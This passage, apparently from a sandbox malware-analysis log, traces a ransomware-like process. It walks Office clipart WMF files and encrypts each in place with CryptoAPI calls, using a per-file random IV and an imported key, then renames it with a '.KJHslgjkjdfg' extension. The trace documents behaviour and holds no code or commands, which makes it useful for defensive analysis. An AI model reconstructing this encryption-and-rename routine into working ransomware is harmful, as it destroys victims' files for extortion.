0x2bf570 [0178.512] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.512] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.512] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.513] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.513] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.513] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x50b6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x50b6, lpOverlapped=0x0) returned 1 [0178.516] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x50c0, dwBufLen=0x50c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x50c0) returned 1 [0178.517] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.517] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x50c0, lpOverlapped=0x0) returned 1 [0178.517] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.517] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.517] SetEndOfFile (hFile=0x114) returned 1 [0178.520] GetProcessHeap () returned 0x2a0000 [0178.520] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.520] GetProcessHeap () returned 0x2a0000 [0178.520] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.kjhslgjkjdfg")) returned 1 [0178.522] CloseHandle (hObject=0x114) returned 1 [0178.522] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0178.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.531] GetProcessHeap () returned 0x2a0000 [0178.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.531] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.533] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.533] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.562] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.562] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.562] GetProcessHeap () returned 0x2a0000 [0178.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.563] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.563] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.563] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.563] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.563] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.563] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.563] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.564] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.566] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.566] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.570] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.570] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x650c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x650c, lpOverlapped=0x0) returned 1 [0178.575] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6510, dwBufLen=0x6510 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6510) returned 1 [0178.575] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.575] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6510, lpOverlapped=0x0) returned 1 [0178.576] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x65e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.576] SetEndOfFile (hFile=0x114) returned 1 [0178.578] GetProcessHeap () returned 0x2a0000 [0178.578] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.578] GetProcessHeap () returned 0x2a0000 [0178.578] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.kjhslgjkjdfg")) returned 1 [0178.580] CloseHandle (hObject=0x114) returned 1 [0178.580] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0178.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.581] GetProcessHeap () returned 0x2a0000 [0178.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.581] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.581] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.581] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.581] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.581] GetProcessHeap () returned 0x2a0000 [0178.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.581] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.581] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.581] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.584] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.584] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.584] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.584] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.584] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8420, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8420, lpOverlapped=0x0) returned 1 [0178.612] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8420, dwBufLen=0x8420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8420) returned 1 [0178.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.613] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8420, lpOverlapped=0x0) returned 1 [0178.613] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x84f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.613] SetEndOfFile (hFile=0x114) returned 1 [0178.616] GetProcessHeap () returned 0x2a0000 [0178.616] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.616] GetProcessHeap () returned 0x2a0000 [0178.616] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.kjhslgjkjdfg")) returned 1 [0178.618] CloseHandle (hObject=0x114) returned 1 [0178.618] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0178.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.635] GetProcessHeap () returned 0x2a0000 [0178.635] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.635] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.635] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0178.640] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.640] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.640] GetProcessHeap () returned 0x2a0000 [0178.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.640] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.640] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.640] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.641] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.641] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.641] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.641] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.641] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.641] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.641] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.641] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.641] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5eae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5eae, lpOverlapped=0x0) returned 1 [0178.642] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5eb0, dwBufLen=0x5eb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5eb0) returned 1 [0178.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.643] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5eb0, lpOverlapped=0x0) returned 1 [0178.643] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.643] SetEndOfFile (hFile=0x114) returned 1 [0178.646] GetProcessHeap () returned 0x2a0000 [0178.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.646] GetProcessHeap () returned 0x2a0000 [0178.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.kjhslgjkjdfg")) returned 1 [0178.647] CloseHandle (hObject=0x114) returned 1 [0178.648] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0178.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.648] GetProcessHeap () returned 0x2a0000 [0178.648] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.649] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0178.651] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.651] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.651] GetProcessHeap () returned 0x2a0000 [0178.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.651] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.651] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.651] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.651] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.652] CryptImportKey (in: 